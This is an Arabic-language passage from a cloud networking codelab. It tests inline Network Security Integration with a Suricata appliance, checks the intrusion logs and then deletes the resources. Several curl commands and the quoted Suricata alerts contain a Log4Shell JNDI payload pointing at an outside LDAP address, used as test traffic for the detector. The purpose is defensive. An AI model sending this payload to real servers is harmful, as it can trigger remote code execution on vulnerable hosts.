يشير رمز الحالة HTTP 200 إلى أنّ الخادم تلقّى طلب العميل وفهمه وعالجه بنجاح.
- إرسال طلبات log4j التي من المفترض أن يحظرها Suricata من خلال NSI
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
الناتج المتوقّع:
000
رمز الاستجابة 000 HTTP هو رمز غير رسمي وغير معياري تستخدمه بعض البرامج للإشارة إلى أنّه لم يتم تلقّي رمز حالة HTTP صالح. من المحتمل أنّ هذا يعني أنّ جدار الحماية حظر الطلب.
- الرجوع إلى Cloud Shell من خلال الخروج من جلسة SSH
exit
- استخدام بروتوكول النقل الآمن (SSH) للوصول إلى الجهاز الافتراضي في $zoneb (consumer-$zoneb)
gcloud compute ssh consumer-$zoneb \ --zone $zoneb
- وبالمثل، أرسِل حركة مرور اختبارية:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
الناتج المتوقّع:
200
- إرسال طلب log4j:
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
الناتج المتوقّع:
000
- الرجوع إلى Cloud Shell من خلال الخروج من جلسة SSH
exit
- استخدام بروتوكول النقل الآمن (SSH) في الجهاز الافتراضي في $zonec (consumer-$zonec)
gcloud compute ssh consumer-$zonec \ --zone $zonec
- وبالمثل، أرسِل حركة مرور اختبارية:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
الناتج المتوقّع:
200
- إرسال طلب log4j:
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
الناتج المتوقّع:
200
لاحظ أنّ هذا الطلب قد تمّت معالجته. هذا أمر متوقّع لأنّك لم تضبط NSI باستخدام $zonec. لا تتضمّن مجموعة نقاط نهاية الاعتراض سوى عمليات ربط للنطاقَين $zonea و $zoneb.
- الرجوع إلى Cloud Shell من خلال الخروج من جلسة SSH
exit
التحقّق من أنّ Suricata تلقّى الطلبات الضارة وحظرها
- استخدِم بروتوكول SSH للدخول إلى الجهاز الافتراضي Suricata في $zonea (suricata-$zonea) للتحقّق من السجلات:
gcloud compute ssh suricata-$zonea \ --zone $zonea
- عرض السجلّات التي تمّت فلترتها حسب نوع الهجوم:
cat /var/log/suricata/eve.json | grep log4j
قد تظهر لك بعض الإدخالات. إذا لم تظهر لك أي إدخالات، راجِع السجلات الخاصة بالجهاز الافتراضي Suricata في $zoneb. مثال على الناتج:
{"timestamp":"2025-01-22T19:54:37.347753+0000","flow_id":905867843361350,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.2","src_port":58740,"dest_ip":"74.125.197.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:46:12.023110+0000"}}
- الرجوع إلى Cloud Shell من خلال الخروج من جلسة SSH
exit
يمكنك اختياريًا استخدام بروتوكول SSH في الجهاز الافتراضي Suricata في $zoneb (suricata-$zoneb) والتحقّق من السجلّات.
gcloud compute ssh suricata-$zoneb \ --zone $zoneb
عرض السجلّات التي تمّت فلترتها حسب نوع الهجوم:
cat /var/log/suricata/eve.json | grep log4j
مثال على الناتج:
{"timestamp":"2025-01-22T19:56:59.374251+0000","flow_id":552447884886066,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.4","src_port":52072,"dest_ip":"74.125.135.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:50:07.098354+0000"}}
بالإضافة إلى ذلك، يمكن أن تكون عمليات التقاط حِزم البيانات طريقة جيدة لعرض حركة المرور والتحقّق من صحتها.
سيؤدي هذا الأمر إلى فلترة حِزم GENEVE. نموذج الأمر:
sudo tcpdump -i any -nn udp port 6081
الآن، أرسِل بعض الزيارات الاختبارية من جهاز افتراضي للمستهلك. مثال على الناتج:
05:53:50.719074 ens4 In IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0 05:53:50.719190 ens4 Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0 05:53:50.728752 ens4 In IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0 05:53:50.728785 ens4 Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0
لاحظ أنّه باستخدام tcpdump، يمكنك الاطّلاع على عناوين GENEVE. عنوان IP المصدر هو عنوان بوابة الشبكة الفرعية (10.0.0.1)، وعنوان IP الوجهة هو عنوان قاعدة إعادة التوجيه (10.0.0.11 أو 10.0.0.12). تحتوي الحِزم المغلفة على الحِزم الأصلية، أي عنوان IP الخاص بالعميل في consumer-$zonea (192.168.0.2) أو consumer-$zoneb (192.168.0.3) والوجهة google.com. يؤكّد ذلك أنّه يتم اعتراض الحِزم وإرسالها إلى الجهاز التابع لجهة خارجية من خلال ميزة "دمج أمان الشبكة".
- الرجوع إلى Cloud Shell من خلال الخروج من جلسة SSH
exit
تهانينا لقد تمكّنت من نشر بيئة تتضمّن ميزة "دمج أمان الشبكة ضمن النطاق" (NSI) واختبارها بنجاح.
5- تنظيف
المستهلك
احذف الأجهزة الافتراضية للمستهلكين باتّباع الخطوات التالية:
gcloud compute instances delete consumer-$zonea \ --zone $zonea -q gcloud compute instances delete consumer-$zoneb \ --zone $zoneb -q gcloud compute instances delete consumer-$zonec \ --zone $zonec -q
حذف ربط جدار الحماية والسياسة:
gcloud compute network-firewall-policies associations delete \
--firewall-policy consumer-fwpolicy \
--name consumer-fwpolicy-association \
--global-firewall-policy -q
gcloud compute network-firewall-policies delete consumer-fwpolicy \
--global -q
حذف مجموعة ملفات تعريف الأمان وملف تعريف الأمان:
gcloud network-security security-profile-groups delete nsi-spg \
--organization=$org_id \
--project=$project_id \
--location=global -q
gcloud network-security security-profiles custom-intercept delete nsi-intercept-profile \
--organization $org_id \
--location global -q
حذف ربط نقطة النهاية ومجموعات نقاط النهاية التي تم اعتراضها:
gcloud network-security intercept-endpoint-group-associations delete nsi-endpoint-group-assoc \
--location global -q
gcloud network-security intercept-endpoint-groups delete nsi-endpoint-group \
--location global -q
حذف Cloud NAT وCloud Router وعنوان IP المحجوز
gcloud compute routers nats delete consumer-cloudnat-$region \
--router=consumer-$region-cr --router-region $region -q
gcloud compute routers delete consumer-$region-cr \
--region=$region -q
gcloud compute addresses delete consumer-$region-cloudnatip \
--region=$region -q
حذف شبكة VPC والشبكات الفرعية
gcloud compute networks subnets delete consumer-$region-subnet \ --region $region -q gcloud compute networks delete consumer-vpc -q
منتِج
حذف عمليات نشر الاعتراضات:
gcloud network-security intercept-deployments delete nsi-deployment-$zonea \
--location $zonea -q
gcloud network-security intercept-deployments delete nsi-deployment-$zoneb \
--location $zoneb -q
حذف مجموعة نشر اعتراضية (يجب الانتهاء من حذف عمليات النشر الاعتراضية قبل أن ينجح هذا الأمر):
gcloud network-security intercept-deployment-groups delete producer-nsi-deployment-group \
--location global -q
حذف قواعد إعادة التوجيه:
gcloud compute forwarding-rules delete producer-fr-$zonea \ --region=projects/$project_id/regions/$region -q gcloud compute forwarding-rules delete producer-fr-$zoneb \ --region=projects/$project_id/regions/$region -q
حذف عنوان IP المحجوز لقاعدة إعادة التوجيه:
gcloud compute addresses delete producer-fr-$zonea-ip \
--region $region -q
gcloud compute addresses delete producer-fr-$zoneb-ip \
--region $region -q
لحذف خدمة الخلفية، اتّبِع الخطوات التالية:
gcloud compute backend-services delete producer-bes \ --region=projects/$project_id/regions/$region -q
حذف مجموعات الأجهزة الافتراضية غير المُدارة:
gcloud compute instance-groups unmanaged delete producer-$zonea-uig \ --zone $zonea -q gcloud compute instance-groups unmanaged delete producer-$zoneb-uig \ --zone $zoneb -q
لحذف فحص حالة التجربة، اتّبِع الخطوات التالية:
gcloud compute health-checks delete nva-hc -q
احذف الأجهزة الافتراضية الخاصة بـ Producer باتّباع الخطوات التالية:
gcloud compute instances delete suricata-$zonea \ --zone $zonea -q gcloud compute instances delete suricata-$zoneb \ --zone $zoneb -q
احذف Cloud NAT وCloud Router وعنوان IP المحجوز:
gcloud compute routers nats delete producer-cloudnat-$region \ --router=producer-$region-cr --router-region $region -q gcloud compute routers delete producer-$region-cr \ --region=$region -q gcloud compute addresses delete producer-$region-cloudnatip --region=$region -q
احذف ربط سياسة جدار الحماية باتّباع الخطوات التالية:
gcloud compute network-firewall-policies associations delete \
--firewall-policy producer-fwpolicy \
--name producer-fwpolicy-association \
--global-firewall-policy -q
احذف سياسة جدار الحماية باتّباع الخطوات التالية:
gcloud compute network-firewall-policies delete producer-fwpolicy \ --global -q
حذف شبكة VPC والشبكة الفرعية
gcloud compute networks subnets delete producer-$region-subnet \ --region=$region -q gcloud compute networks delete producer-vpc -q
6. تهانينا!
تهانينا، لقد أكملت بنجاح الدرس التطبيقي حول الترميز لعملية دمج أمان الشبكة (NSI) ضمن النطاق باستخدام Suricata.
شاهِد فيديوهات توضيحية خاصة بالمورّدين حول عملية دمج أمان الشبكة (NSI) ضمن النطاق:
اطّلِع على بعض أدلة النشر الخاصة بالمورّدين والتي قد تكون ذات صلة بمؤسستك: